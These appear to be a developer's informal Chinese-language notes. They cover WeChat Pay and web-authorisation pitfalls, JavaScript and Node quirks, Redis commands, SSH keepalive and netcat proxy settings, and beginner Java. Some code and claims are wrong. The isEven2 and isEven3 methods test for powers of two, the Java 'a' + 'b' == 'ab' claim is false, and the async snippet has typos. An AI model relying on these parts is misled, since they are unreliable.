前端参数: timestamp(注意这里全是小写了!)、nonceStr、package、signType(注意必传)、paySign
一定要详细看文档, 才能避免踩坑
问题描述:
微信公众号报错: "errcode":40164,"errmsg":"invalid ip xx.xx.xx.xx, not in whitelist hint: []
问题原因:
微信access_token刷新需要添加服务器白名单
解决方案:
登录微信mp后台 -> 开发 / 基本配置 -> 在右侧将上述报出的IP地址添加到"IP白名单"中即可
参考: https://blog.csdn.net/pansanday/article/details/79422819
function getFingerprint () {
return new Promise( (resolve, reject) => {
if (!Fingerprint2) reject('Fingerprint2: 没有引入js')
(new Fingerprint2()).get(resolve)
})
}
function getFingerprint () {
return new Promise( (resolve, reject) => {
if (!Fingerprint2) reject('Fingerprint2: 没有引入js')
const fp = Fingerprint2()
fp.get(resolve)
})
}
异步化同步函数, 上面那个是正确的呢? 答案: 第二个
resolve无需return, 没有err也可以异步化(任何函数都能异步化), 在return new Promise
之前还是在里面new都可以, 都不是这些的问题, 问题是: 括号跟前面的语句结合了!!!!
这也是为啥很多自运行函数前面加;
或!
号
总结: 慎用括号!
解决方案: 不用括号, 宁愿多一个变量, 或者在括号前面加东西
// 试一下最精简版本
function getFingerprint () {
return new Promise( resolve => (new Fingerprint2()).get(resolve) )
}
const script = document.createElement('script')
script.src = '//wx.gtimg.com/wxpay_h5/fingerprint2.min.1.5.1.js'
script.onload = function () {
const fp = new Fingerprint2()
fp.get(res => console.log(res))
}
document.body.appendChild(script) // 触发script.onload
参考: 获取浏览器指纹指引
相同点: 都不改变原数组, 返回未经修改的元素
不同点: find返回元素 filter返回数组
原因, 没有在schema里面定义
参考: How do you use Mongoose without defining a schema?
安装完成后,必须进入chrome扩展工具选项里,找到vue-devtools把下面的 允许访问文件网址 勾选上
参考: https://segmentfault.com/q/1010000008735643
第一次支付失败、取消支付,再次支付时,前端将商品描述(body)字段的值改变了,造成了该问题。像这种第一次没支付或支付失败,再次支付时,需要保证上面描述,价格等请求信息和第一次请求完全相同
才可以,稍微有不同,微信会认为是不同的支付,就会要求不同的商户订单号(outTradeNo)
参考: 微信支付报出 商户订单号重复 错误问题
检查时间格式对不对, 检查时区是不是+8moment().utcOffset(8)
参考: php time_expire时间过短,刷卡至少1分钟,其他5分钟。微信统一下单
官方: 请确认appid和mch_id是否匹配
真实原因: openid是本地测试的公众号获取的, 和正式公众号获取的openid不一样, 所以报错
就是微信内网页开发,现在是要引入js(window.wx), 以前不需要引入, 只需要监听jsBridge(WeixinJSBridge)就行了, 当然现在只支持js引入了, 而且可以支持微信外的网页(一部分的功能)
微信的官方文档, 这里与这里都更新了, 但是这里却没有更新, 这就是坑爹之处!
参考: https://github.com/Tencent/weui/wiki/%E5%BE%AE%E4%BF%A1JSAPI
关于回调函数: 新版返回的是errMsg
, 旧版返回的是err_msg
!!!
function onBridgeReady ({ name, options, success }) {
if (typeof WeixinJSBridge == 'undefined' ) {
if (document.addEventListener) {
document.addEventListener('WeixinJSBridgeReady', onBridgeReady, false)
} else if (document.attachEvent) {
document.attachEvent('WeixinJSBridgeReady', onBridgeReady)
document.attachEvent('onWeixinJSBridgeReady', onBridgeReady)
} else {
console.log('啥都没有')
}
} else {
WeixinJSBridge.invoke( name, options, success )
}
}
function chooseImage () {
onBridgeReady({
name: 'chooseImage',
options: {
// count: 1,
sizeType: [ 'compressed' ],
sourceType: [ 'album', 'camera' ],
},
success (res) {
const { sourceType, localIds, errMsg } = res
console.log('-chooseImage-', res)
wx.previewImage({
currents: localIds[0],
urls: localIds
})
}
})
}
使用bluebird
异步化同步函数,promisifyAll
为异步化对象里面的所有函数,promisify
为异步化单个函数,调用他们会返回同名+Async
后缀的异步函数
require('xxx') // { f: [Function] }
promisifyAll(require('xxx')) // { f: [Function], fAsync: [Function] }
建议使用顶层的异步函数包起来,然后不带await
的运行(会返回的Promise
对象无需处理,带了await
反而报错),然后在调用顶层函数的时候try...catch
统一处理错误:
const { promisifyAll } = require('bluebird')
const { readFileAsync } = promisifyAll(require('fs'))
async function start () {
cosnt data = await readFileAsync('./a2.txt')
// ...
}
try {
start()
} catch (e) {
console.err(e)
}
function f (a = 'a') {
return a
}
f() // 'a'
f(undefined) // 'a'
f(null) // null
结论: f1
比f2
好, 因为对null、undefined、未定义对变量解构赋值会报错, 而空字符串不会
function f1 (obj) {
const { key } = obj || ''
}
function f2 ({ key }) {
}
var { key } = a // Uncaught ReferenceError: a is not defined
var { key } = null // Uncaught TypeError: Cannot destructure property `key` of 'undefined' or 'null'.
var { key } = undefined // Uncaught TypeError: Cannot destructure property `key` of 'undefined' or 'null'.
var { key } = '' // key为undefined
var { key } = 1 // key为undefined
减、乘、除都没毛病, 就是加有问题
'12' + 3 // '123'
总结: 只要其中一方是字符串 那就不要加 或者都转为数字再进行 加 str << 0
trim
只能去掉两边的空格
str.replace(/ /g, '')
function getPersonInfo(one, two, three) {
console.log(one)
console.log(two)
console.log(three)
}
const person = "Lydia"
const age = 21
getPersonInfo`${person} is ${age} years old`
// [ '', ' is ', ' years old' ]
// Lydia
// 21
getPersonInfo`${person}${age}`
// [ '', '', '' ]
// Lydia
// 21
getPersonInfo`1123 ${age} 123`
// [ '1123 ', ' 123' ]
// 21
这是一种语法,funName模板字符串
调用 funName 函数,参数为:
switch (1) { // xxx
case '1': console.log('haha'); break;
default: console.log('xxx')
}
switch ('1') { // xxx
case 1: console.log('haha'); break;
default: console.log('xxx')
}
TypeError: Cannot destructure property `xxx` of 'undefined' or 'null'.
tail -f -n 20 logs/jjq-shop/jjq-shop-web.log
在使用SSH客户端进行连接管理的时候如果长时间不输入命令, 服务器会自动断开连接
可以对服务器和客户端分别设置自动发送心跳包
客户端
vi ~/.ssh/config # 或/etc/ssh/ssh_config
ServerAliveInterval 120 # 每2分钟向服务器发送一个心跳包
服务端
vi /etc/ssh/sshd_config # 注意是sshd_config
ClientAliveInterval 120
# 重启sshd CentOS
service sshd restart
通常是在router.post
的时候, 报错nodejs.ForbiddenError: missing csrf token
//...
security: {
csrf: {
ignore: ['/h5paynotify','/h5pay','/aliwappay','/alipaynotify', '/wxpayRefundNotify']
},
},
//...
毕竟isNaN('')为false 但是parseInt('') 为 NaN, 而用Number('')则为0
或者
if ( !amount || isNaN(amount) )
RequestError: Error: socket hang up
, 密码就是mch_idfs.readFileSync(path.join(this.app.baseDir, '/lib/alipay/private-key.pem'), 'ascii') // 不能加ascii!!!
其实有现成的包: https://github.com/befinal/node-tenpay
碰到问题看看这里的实现代码也行
返回满足条件(ture)的元素
返回所有元素
index
开始的下标 必须 -n === length - ndeleteCount
要删除的个数 可选 默认删除后面所有的元素item
要插入的元素 可选删除的元素组成的数组
for (let i = 0; i < orderDetailList.length; i++) { // i不能const
const { product_id, spec_buy_num } = orderDetailList[i] // 这里可以const
...
for (const key in obj) // 能const
因为mongoose不支持自动Model.createCollection(), 可以先手动
先用listCollections看看创建没创建, 如果没有再createCollection
参考: Automattic/mongoose#6699
一定要用时间戳!!!
一定要用时间戳!!!
一定要用时间戳!!!
const fromTime = new Date(ticketQRcode.fromTime).getTime()
const toTime = new Date(ticketQRcode.toTime).getTime()
const now = Date.now()
if (now < fromTime) ctx.throw(200, '还未到检票时间')
if (now > toTime) ctx.throw(200, '已过检票时间')
除了undefined,其它都会覆盖默认值
var { a = 'a' } = { a: undefined } // a
var { a = 'a' } = { a: null } // null
var { a = 'a' } = { a: '' } // ''
function func(a = 'a') {
console.log(a)
}
func(undefined) // a
func(null) // null
func('') // ''
其实这也是null和undefined的区别,null是空指针,是一个值,undefined不是一个值,NaN虽然不是一个数,但它是一个值
let image = ''
// 方法一、for await -> node10 es7(es2018)
for await (const chunk of stream) image += chunk
// 方法二、Promise 兼容性更好
return new Promise((resolve, reject) => {
try {
stream
.on( 'data', chunk => (str += chunk) )
.on( 'end', () => resolve(str) )
.on( 'error', reject ) // 或许不要?
} catch (err) {
reject(err)
}
})
import React, {Component} from 'react'
// 相当于
import React from 'react'
const { Component } = React
// 同样也可用于赋值
const mongoose, { Schema } = app
// 或者
const { Schema } = app.mongoose
const mongoose = require('mongoose')
const _id = mongoose.Types.ObjectId('576cd26698785e4913b5d0e1')
:style="`background: url(${ captchaSvg }) no-repeat center;background-size: 100%;width:78px;height:38px;padding:0`"
populate是用来做关联表的,只需要_id就可获取document,model要设置:
creator: { type: app.mongoose.Schema.Types.ObjectId, ref: 'User' }
service要设置:
xxx.find(param, sel).populate('site', '_id name').populate('creator', '_id name username').skip(skip).limit(pageSize).sort({ createdAt: 1 })
populate的第一个参数是寸_id的字段名,第二个参数是外表的域,选择的字段之间用空格分隔,字段前加-表示不接受。
感觉mintty缺了好多东西,比如运行redis、mongodb、docker命令行客户端的时候,不是显示不全就是运行出错,解决方案:winpty xxxxx
,前面加上winpty然后加上要运行的命令,提供了更加齐全的,更加类似Uinx控制台的功能,相当于适配器
看看winpty官方的介绍:
A Windows software package providing an interface similar to a Unix pty-master for communicating with Windows console programs.
总结:当要在windows上运行Linux的命令行界面的程序时,最好在前面加上winpty
// Jade
div: p: span: label Hello Jade
// HTML
<div>
<p><span>
<label>Hello Jade</label></span></p>
</div>
参考:https://segmentfault.com/q/1010000004396908
rename -v 's/.txt/.log/' *.txt # 改后缀名txt为log
参考:https://blog.csdn.net/fdipzone/article/details/44604591
核心问题:js如何获取上一个url?
rm -f package-lock.json
npm i
删除lock文件再pull
console.time(timerName)
// do some thing
console.timeEnd(timerName)
// ${timerName}: 448.375ms
原因: @change事件不支持$event(就算传$event也只能是true或false)
解决方案: switch换为button+v-if,使用@click传$event
解决方案:阻止row内事件冒泡
@click="handle($event)"
handle (event) { event.cancelBubble = true }
缺陷: router-link to非@click,可能会误触
更新: 使用vue的@click.stop
参考Vue事件处理
一般用some
在修改的情况下,可以重复自己,别人不可以重复(只修改某些字段),用自定义的editIndex
,
注意不要用scope.$index
,因为排序(sort)会打乱顺序,
editIndex
还有个好处就是可以实现单选,多选等操作,把编辑,修改,删除等按钮放到表格外面来
params用name
query用path
router.push({ name, params })
router.push({ path, query })
对象用in, 数组和字符串用includes, some数组对象都可以用(Object.keys)
some
代码里面是collection是xxx,MongoDB实际数据库里面的collection就得加s,也就是xxxs
await
和exec(err, res) => {}
不可共存
db.getCollection('orders').find({
add_time: {
$gte: ISODate('2019-04-17T01:38:55.443Z'), // new Date(date)
$lte: ISODate('2019-04-17T01:38:55.443Z') // date = new Date().toString()
}
})
问题的本质是,无法生成新的实例,导致mounted不会被执行
解决办法: 修改路由,使用extends或解构
import comp from '@/component'
component: {extends: comp}
component: {...comp}
失败的方法: beforeRouteEnter, watch $route
参考: Vue使用动态组件或者router时,当多个视图使用/指向同一个组件时,如何能够生成多个新实例?
提示StatusCodeError: 400 - "{\"code\":40000,\"error\":\"错误 Error: ENOENT: no such file or directory, open 'C:\\Users\\Administrator\\Desktop\\test1\\unpackage\\dist\\dev\\mp-weixin\\project.config.json'\"}"
解决方案:新建项目时,不要新建到C盘, 新建到D盘解决问题~~
一种数据结构可以有多种内部编码的实现,一种内部编码也可以实现多种数据结构(多对多的关系)
注意:Windows版的redis-cli没有127.0.0.1:6379>
提示符,操作符也只支持大写如GET name
set key value [EX 秒| PX 毫秒] [NX|XX]
rpush key value [value...] # list
mset key value [key value ...] # 同时赋值多个节省带宽 返回OK
# 设置空key名或者夹带空格符
set '' xxx
set 'x x' xxx
del key [key...] # 返回成功删除的个数 删除不存在的返回0
expire key 秒 # 设置过期时间 (延迟删除)
ttl key # >0有过期时间 还剩多少秒 -1没有设置过期时间 -2不存在这个键
set key value
get key
mget key [key ...] # 返回一个list,长度与输入的key对应,不存在的key返回(nil)
exists key # 存在返回1不存在返回0
keys * # 获取所有的key
keys 1* # 以1开头的key
dbsize # 获取key数(性能)
type key # 查看key的数据结构类型 一般都是string如果键不存在返回none
object encoding key # 查看key的内部编码类型
SSH经常会碰到一个问题,有段时间没有操作,会自动断开或者显示,其本质是防火墙关闭了连接
NAT firewalls like to time out idle sessions to keep their state tables clean and their memory footprint low.
当然掉线显示 packet_write_wait: Connection to UNKNOWN port 65535: Broken pipe
也有可能是真的是因为网络问题而断开了连接
通过设置ssh发送心跳包来保持ssh的连接
ClientAliveInterval
和ServerAliveInterval
心跳包时间间隔要设置为小于防火墙的最小超时时间
只要设置服务端或者客户端就行了,推荐只设置客户端就行了,没有权限问题
相同点:都是发送心跳包的
不同点:TCPKeepAlive是服务端客户端都可以设置的
最大的不同点:TCPKeepAlive可能也会被防火墙拦住,意思是光TCPKeepAlive可能还是会掉线
TCPKeepAlive operates on the TCP layer. It sends an empty TCP ACK packet. Firewalls can be configured to ignore these packets, so if you go through a firewall that drops idle connections, these may not keep the connection alive.
ServerAliveInterval operates on the ssh layer. It will actually send data through ssh, so the TCP packet has encrypted data in and a firewall can't tell if its a keepalive, or a legitimate packet, so these work better.
man sshd_config
里面有句话
The default is yes (to send TCP keepalive messages), and the server will notice if the network goes down or the client host crashes. This avoids infinitely hanging sessions.
也就是说,TCPKeepAlive的目的不是为了保持连接,而是为了清除ghost-user
,反而更容易断线
所以,根据最佳实践,应该在服务端设置TCPKeepAlive为yes,然后在客户端设置时间间隔低的心跳包
vi /etc/ssh/sshd_config
ClientAliveInterval 30 # 每30s向客户端发送心跳包
ClientAliveCountMax 5 # 5次没响应认为已断开 默认为3
# 重启ssh服务 RHEL、CentOS、Fedora、Redhat
/etc/init.d/sshd restart
service sshd restart
sudo systemctl restart sshd
# 重启ssh服务 Debian、Ubuntu
/etc/init.d/ssh restart # 推荐有提示
service ssh restart
service sshd restart # 也可以使用RHEL系风格
vi ~/.ssh/config # 用户级(当前用户生效)
vi /etc/ssh/ssh_config # 系统级(所有用户生效)
Host myhost
HostName xx.xx.xx.xx
User root
Port xxxx
ServerAliveInterval 60 # 每30s向服务端发送心跳包
ServerAliveCountMax 5 # 默认为3
ssh myhost
打开代理软件,开启全局代理(SSH服务器的IP要经过代理)
# 方法一
ssh myhost -o 'ProxyCommand nc -X 5 -x 127.0.0.1:19181 %h %p' # 端口号看情况定
# 方法二
vi ~/.ssh/config
Host myhost
ProxyCommand nc -x 127.0.0.1:19181 %h %p
ssh myhost
netcat
一般简称为nc
,直译为中文就是“网猫”,被誉为网络上的瑞士军刀,能够很方便、很灵活地操纵传输层协议(TCP & UDP),如网络诊断、网络配置、系统管理、辅助入侵......
在这里,我们只用到了nc的一小部分功能:基于 nc 的代理转发(Proxy Forward)
nc整体的命令格式是:nc 命令选项 主机 端口
-X
指定代理的类型
原版nc没有该选项,有这个选项的是nc的OpenBSD变种
,且这个选项带3个参数
4
(SOCKS v.4)5
(SOCKS v.5)默认connect
(HTTPS proxy)-x
proxy_address[:port] 指定代理的位置
也是属于OpenBSD变种支持的选项,用于指定代理的ip地址和端口号,端口号可以省略,就会用默认的端口号(socks代理是1080,https代理是3128)
ProxyCommand:在连接ssh服务端时运行指定命令
%h %p:SSH运行时的标记(tokens)
所以%h %p
代表远程主机名和端口号,不同的ssh参数能用的标记也不尽相同:
所以结合在一起看ProxyCommand nc -X 5 -x 127.0.0.1:19181 %h %p
就是:通过nc把ssh的流量由代理服务器转发到ssh服务器(%h %p)
而ssh myhost -o 'ProxyCommand nc -X 5 -x 127.0.0.1:19181 %h %p'
的-o
意思就是把配置文件的字段写在命令行,ProxyCommand
是配置文件格式的字段,而不是ssh命令的参数
screen
断线不可怕,可怕的是断线会把正在运行的程序都结束导致数据、工作状态丢失的麻烦,如果使用了screen
,就算掉线也可以恢复之前的工作状态,当然配合之前的心跳包使用效果更佳
解决SSH自动断线,无响应的问题
How does tcp-keepalive work in ssh?
扫盲 netcat(网猫)的 N 种用法——从“网络诊断”到“系统入侵”
How To Restart SSH Service under Linux / UNIX
man ssh_config
man sshd_config
man ssh
man nc
在微信中打开的第三方网页
公众号可以通过微信网页授权机制,来获取用户基本信息,进而实现业务逻辑
网页授权跟Oauth2.0、JSAPI、JSSDK、公众号是相关的
微信登陆
微信支付
(OpenID是微信JSAPI支付的必传参数)可以看到, 只有认证过的服务号
才能够通过网页授权获取用户信息, 甚至这个用户无需关注
这个服务号
要先去公众号设置回调域名, 注意域名不需要加协议头
公众号 - 开发 - 接口权限 - 网页服务 - 网页账号 - 网页授权获取用户基本信息 - 授权回调域名
scope就是用途和范围
1、snsapi_base
用户授权页面无需用户确认, 只能获取到OpenID
2、snsapi_userinfo
用户授权页面需要用户确认
网页授权access_token
与基础支持access_token
不是一个东西需要缓存
不缓存
redirect_uri
页面CODE
authdeny
网页授权地址不能加协议号, redirect_uri一定要加协议号否则会报错10003 redirect_uri域名与后台配置不一致
注意微信会对授权链接做正则强匹配校验,如果链接的参数顺序不对,授权页面将无法正常访问
参数 | 是否必须 | 说明 |
---|---|---|
appid | 是 | 公众号的唯一标识 |
redirect_uri | 是 | 授权后重定向的回调链接地址, 请使用 urlEncode 对链接进行处理 |
response_type | 是 | 返回类型,请填写code |
scope | 是 | 应用授权作用域,snsapi_base (不弹出授权页面,直接跳转,只能获取用户openid),snsapi_userinfo (弹出授权页面,可通过openid拿到昵称、性别、所在地。并且, 即使在未关注的情况下,只要用户授权,也能获取其信息 ) |
state | 否 | 重定向后会带上state参数,开发者可以填写a-zA-Z0-9的参数值,最多128字节 |
#wechat_redirect | 是 | 无论直接打开还是做页面302重定向时候,必须带此参数 |
授权作用域(scope) | 接口 | 接口说明 |
---|---|---|
snsapi_base | /sns/oauth2/access_token | 通过code换取access_token、refresh_token和已授权scope |
snsapi_base | /sns/oauth2/refresh_token | 刷新或续期access_token使用 |
snsapi_base | /sns/auth | 检查access_token有效性 |
snsapi_userinfo | /sns/userinfo | 获取用户个人信息 |
答:第三方通过code进行获取access_token的时候需要用到,code的超时时间为10分钟,一个code只能成功换取一次access_token即失效。code的临时性和一次保障了微信授权登录的安全性。第三方可通过使用https和state参数,进一步加强自身授权登录的安全性。
答:授权作用域(scope)代表用户授权给第三方的接口权限,第三方应用需要向微信开放平台申请使用相应scope的权限后,使用文档所述方式让用户进行授权,经过用户授权,获取到相应access_token后方可对接口进行调用。
一定要严格看清楚官方文档!!! 这一点很重要, 比如
这两个都是贷款的还款方式中的两种,先说明,其实最后还的其实是差不多的,但是在贷款的用途上有区别:等额本息更加适合理财。
如果不是为了理财,那么选择等额本金:
如果是理财,那么可以贷款多点,还款久点,利息不用怕,因为理财赚的比利息高,还是划算的
属于《民事诉讼法》的诉讼财产保全
,防止负债人耍赖不还
质就是质押的意思,质押股权获取资金
/**
* 有key返回val,无key返回null
* @param {string} key 键名
*/
function getCookie (key) {
const { ctx } = this
// 只有 options.signed == false 才能取出非签名的cookie
// 那么 能不能取出已签名的cookie呢?
console.log('---getCookie---get', ctx.cookies.get(key, { signed: false }))
const cookieList = (ctx.header.cookie || '').split('; ')
for (const i in cookieList) {
// 处理 json里面 包含=号的东西: 合并起来
const arr = cookieList[i].split('=')
const k = arr.splice(0, 1)[0] // 返回的是被删除元素组成的[数组]
if (k == key) return arr.join('')
}
return null
}
// 可以
{
int i = 1;
}
int i = 0;
// 不行
int i = 0;
{
int i = 1;
}
// 可以
{
int i = 1;
}
{
int i = 2;
}
注意
long n = 100; // int to long 从小到大
1.5F + 1.5; // float to double 整个表达式的结果为double型
'A' + 1; // 66 char to int 字符编码ASCII码A的十进制表示为65
注意:整数类型只要是进行了算术运算
,首先会提升为int类型然后再进行运算,即使表达式中并没有int类型的变量
System.out.println('A' + 'a'); // 162
从小到大
原则而不会报错(可能会精度损失、数据溢出)int n = (int)100L; // 语法正常(不报错)运行也正常
/**
* 1. 数据溢出
* 60亿16进制为 165A0BC00 为9字节
* 而int只能存8字节 也就是 65A0BC00
* 也就是 1705032704 这就是所谓的发生了溢出
* 所以溢出的意思就是我存不下,只存了一部分的东西,多出的“溢出”了
*/
int m = (int)6000000000L; // 60亿 long to int 溢出
System.out.println(m); // 1705032704 17亿
/**
* 2. 精度损失
* 注意:精度损失不是四舍五入
*/
int d = (int)3.1415; // double to int 精度损失
System.out.println(d); // 3
问题:后缀(如100L
)算强制类型转换吗?
注意:boolean类型不能发生数据类型转换!
ASCII码常用数值:
// 10 32 48 65 97
System.out.printf("%d %d %d %d %d\n", '\n'+0, ' '+0, '0'+0, 'A'+0, 'a'+0);
注意:中文是多字节很显然不能用char类型表示,因为不够
System.out.println('中'); // 报错
char ch = '中'; // 报错 据说jdk9可以? 当前jdk13
System.out.println(ch);
+
运算符对于+
表达式,只要里面有字符串,则其它也会变成字符串然后运算,而字符串之间的+
号运算是字符串连接(跟js很像)
'a' + 'b' == 'ab';
'a' + 10 == 'a10'
this是表示当前实例
public class Hello {
public static void main(String[] args) {
hello();
}
public static void hello () {
System.out.println("Hello");
}
}
基本类型:byte、short、char、int
引用类型:String、enum
右值(赋值号右边)如果是常量表达式且值没超出范围就自动类型转换并赋值(不清楚是不是属于隐性类型转换),否则报错
byte a = 1; // ok
byte a = 128; // error
如果右值是含有变量的话那就没有这个优化了
byte a = 1;
byte b = 2;
byte c = a + b; // error int 无法转为 short
int a = 1;
byte b = a; // error 同理
所以可以看出,以上是编译器对于常量进行的优化,直接把常量表达式替换为一个常量
JShell是一个交互式的运行Java代码的小工具,相当于在main函数里面键入
在jshell>
提示符后输入表达式或语句回车即可运行(都会被当做表达式)
就算重复定义一个变量也没事,以最近的一次为准
用/list查看输入的表达式(就算是只有一个常量也算一个表达式)
使用$开头的数字相当于运行了对应的语句 取得对应语句的值
jshell> 'a'
jshell的一些基本命令(以斜杠开头,并不会记录在/list里)
项目 - 模块 - 包 - 类
psvm
: main函数的补全缩写方法重载只跟参数的数量、类型
有关,与修饰符、返回值的类型、参数的名称无关
T[] name = new T[length];
(默认填充0)T[] name = new T[]{ elem1, elem2, ... };
静态初始化省略格式:T[] name = { elem1, elem2, ... };
(注意省略格式只能写成一行不能定义后才name = { elem1, elem2, ... };
)
静态初始化C语言风格:T name[]
注意:不能既指定长度,又指定内容,或者两个都不指定
数组动态初始化默认填充0:
字符数组跟字符串有些类似,但是不相等,共同点是都可以直接用println
直接输出,如果是别的数组,直接打印出来的是内存地址哈希值
,想要取数组里的值一般只能用循环去遍历数组名[索引值]
内存地址哈希值:[I@5f184fc6
[
表示数组I
表示int类型@
分隔符?5f184fc6
16进制的内存地址char arr[] = { 'a', 'b', 'c' };
System.out.println(arr); // abc
//
// char[]跟c语言中的也不完全一样
//
char arr[] = "abc"; // error
char arr[] = {'a', 'b', '\0', 'c'}; // 其实应该是'\u0000'
System.out.println(arr); // ab c
java.lang
包下的类不用导包):import 包路径.类名
类名 对象名 = new 类名();
对象名.成员变量
、对象名.成员方法(参数)
sc.close()
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
while (sc.hasNextInt()) System.out.println(sc.nextInt()); // hasNextInt会引起block
}
}
使用sc.hasNext
:避免java.util.InputMismatchException
注意:一般输入字符串不会mismatch的,会一直next,除非输入EOFCtrl+D
,如果对EOF进行next接受那么会java.util.NoSuchElementException
输入字符串hasNext一直为true,输入EOF那么返回false
Scanner的一个小例子:
import java.util.Arrays;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.print("先输入数组的长度: ");
int[] arr = new int[sc.hasNextInt() ? sc.nextInt() : 0];
if (arr.length == 0) return;
int max = 0;
for (int i = 0; i < arr.length; i++) {
System.out.print("请输入第" + (i + 1) + "个变量: ");
if (sc.hasNextInt()) arr[i] = sc.nextInt();
if (arr[max] < arr[i]) max = i;
}
System.out.println(Arrays.toString(arr) + "最大值为" + arr[max]);
}
}
可以看到,数组可以在运行时定义(变量),但是一旦定义好,那么久无法改变了
public class Main {
public static void main(String[] args) {
int odd = 7, even = 8;
System.out.println(isEven1(odd) + ", " + isEven1(even));
System.out.println(isEven2(odd) + ", " + isEven2(even));
System.out.println(isEven3(odd) + ", " + isEven3(even));
}
/**
* 被2整除(为0)就是偶数 为1的是奇数
* 0 % 2 = 0
* 1 % 2 = 1
* 2 % 2 = 0
* 3 % 2 = 1
*/
static boolean isEven1 (int num) {
return num % 2 == 0;
}
/**
* 与自身小一的数相与 偶数为0 奇数自身小一的数
* 7 & 6 = 0x00000007 & 0x00000006 = 0111 & 0110 = 0110 = 6
* 8 & 7 = 0x00000008 & 0x00000007 = 1000 & 0111 = 0
*/
static boolean isEven2 (int num) {
return (num & num - 1) == 0;
}
/**
* 按位与自身的负数形式等于自身的为偶数 奇数为1
* 负数的16进制是取反加一
* 8 & -8 = 0x00000008 & 0xfffffff8 = 8
* 7 & -7 = 0x00000007 & 0xFFFFFFF9 = 1
*/
static boolean isEven3 (int num) {
return (num & -num) == num;
}
}
nextInt默认为整个int范围,传入bound则是[0, bound)
,意思是 0 <= x < bound
小技巧:整体+1就是[1, bound]
( 1 <= x <= bound),或者(0, bound]
(0 < x <= bound)
import java.util.Random;
public class Main {
public static void main(String[] args) {
Random r = new Random();
int bound = 3;
int res = r.nextInt(bound);
System.out.println(res); // [0, bound)
System.out.println(res + 1); // [1, bound]
}
}
注意:
while(true)
那么就是死循环)import java.util.Random;
import java.util.Scanner;
import java.util.InputMismatchException; // 格式输入错误
import java.util.NoSuchElementException; // EOF
public class Main {
public static void main(String[] args) {
int bound;
Scanner sc = null;
while (true) {
try {
System.out.print("请输入猜数范围(1到几):");
sc = new Scanner(System.in);
if ((bound = sc.nextInt()) <= 1) continue;
break;
} catch (InputMismatchException e) { // 输入格式错误 还能重试
System.out.print("请输入数字!");
} catch (IllegalStateException e) { // 这个错误是属于 java.lang 的
System.out.println("标准输入已关闭");
return; // 没救了 因为一旦 System.in关闭 就开启不了了
} catch (NoSuchElementException e) {
System.out.println("你输入了EOF");
return; // 似乎也没救了
} catch (Exception e) {
e.printStackTrace();
return;
}
}
int res = new Random().nextInt(bound) + 1; // [1, bound]
int num;
int count = 0;
while (true) {
try {
System.out.print("请在1到" + bound + "之间猜一个数字:" + res);
sc = new Scanner(System.in);
if ((num = sc.nextInt()) < 1) continue;
count++;
if (num < res) System.out.println("小了");
else if (num > res) System.out.println("大了");
else break;
} catch (InputMismatchException e) { // 输入格式错误 还能重试
System.out.print("请输入数字!");
} catch (IllegalStateException e) { // 这个错误是属于 java.lang 的
System.out.println("标准输入已关闭");
return; // 没救了 因为一旦 System.in关闭 就开启不了了
} catch (NoSuchElementException e) {
System.out.println("你输入了EOF");
return; // 似乎也没救了
} catch (Exception e) {
e.printStackTrace();
return;
}
}
System.out.println("猜对了!一共猜了" + count + "次");
}
}
参考:
ScannerInt循环读取判断整数(用异常)
在同一进程中多次调用scanner出现NoSuchElementException异常解决办法
为什么scanner 抛出异常后就一直在这循环啊
How to avoid Scanner from eof and keep him alive
System.in关闭问题
java中的 try、catch、finally及finally执行顺序详解
关闭扫描仪而不关闭System.in
try-with-resources
(>=jdk7)重构猜数字游戏import java.util.Random;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
try (Scanner sc = new Scanner(System.in)) {
int bound = 0;
while (true) {
System.out.print("请输入猜数范围(1到几):");
try {
bound = Integer.parseInt(sc.next());
} catch (NumberFormatException e) {
System.out.print("请输入数字!");
continue;
}
if (bound > 1) break;
}
int count = 0;
int res = new Random().nextInt(bound) + 1; // [1, bound]
while (true) {
System.out.print("请在1到" + bound + "之间猜一个数字:" + res);
int num = 0;
try {
num = Integer.parseInt(sc.next());
} catch (NumberFormatException e) {
System.out.print("请输入数字!");
continue;
}
if (num < 1) continue;
count++;
if (num < res) System.out.println("小了");
else if (num > res) System.out.println("大了");
else break;
}
System.out.println("猜对了!一共猜了" + count + "次");
}
}
}
包装类
)import java.util.ArrayList;
public class Main {
public static void main(String[] args) {
ArrayList<String> list = new ArrayList<>();
if (list.add("a") == false) {
System.out.println("插入数据失败");
return;
}
list.add("z");
list.add("b");
list.add("c");
list.get(1);
String removed = list.remove(1);
System.out.println("已删除" + removed);
System.out.println(list);
System.out.println("长度为" + list.size());
list.forEach(str -> System.out.print(str + " "));
}
}
ArrayList包装类示范(除了泛型填包装类,其它都当做基本类型用就得了>=jdk5的自动装箱
、自动拆箱
>)
import java.util.ArrayList;
public class Main {
public static void main(String[] args) {
ArrayList<Integer> list = new ArrayList<>();
list.add(100);
list.add(200);
list.add(300);
int num = list.get(2);
System.out.println(list + " " + num);
}
}
重点要记的就两个,Integer和Character,其它都是首字母大写
自动装箱
、自动拆箱
(>=jdk5)3种构造方法+1种直接创建
注意:双引号括起来的,就是字符串对象(类似于自动装箱但不是),且双引号括起来的字符串(直接创建的字符串)都在字符串常量池中(其他方式生成的字符串不在)
public class Main {
public static void main(String[] args) {
String s1 = new String();
String s2 = new String(new char[]{ '0', 'A', 'a' });
String s3 = new String(new byte[]{ 48, 65, 97 });
String s4 = "0Aa";
System.out.println(s1);
System.out.println(s2);
System.out.println(s3);
System.out.println(s4);
}
}
直接用双引号创建的字符串,是在字符串常量池的,其他形式创建的字符串不在(虽然也是常量)
字符串常量池是堆里面的一块区域(>=jdk7),这块区域专门保存堆中字符串的地址(字节数组)
注意比较运算符==
public class Main {
public static void main(String[] args) {
String s1 = "abc";
String s2 = "abc";
String s3 = new String("abc");
System.out.println(s1 == s2);
System.out.println(s1 == s3);
System.out.println(s2 == s3);
}
}
注意:可以看出,直接从字符串构造函数里传字符串,会生成一份拷贝,所以地址值就不一样了(因为字符串本身不可变,所以这是没有意义的)
同理,只要是往构造函数传了东西,那么生成的字符串跟传入的内容就不是一个概念了,起码内存地址不一样
public class Main {
public static void main(String[] args) {
char[] chars = { '0', 'A', 'a' }; // 简写形式只能在定义+初始化的时候使用 其它还是得new
String s1 = new String(chars);
byte[] bytes = { 48, 65, 97 };
String s2 = new String(bytes);
System.out.println(s1.hashCode() == chars.hashCode()); // false
System.out.println(s2.hashCode() == bytes.hashCode()); // false
}
}
public boolean equals(Object obj)
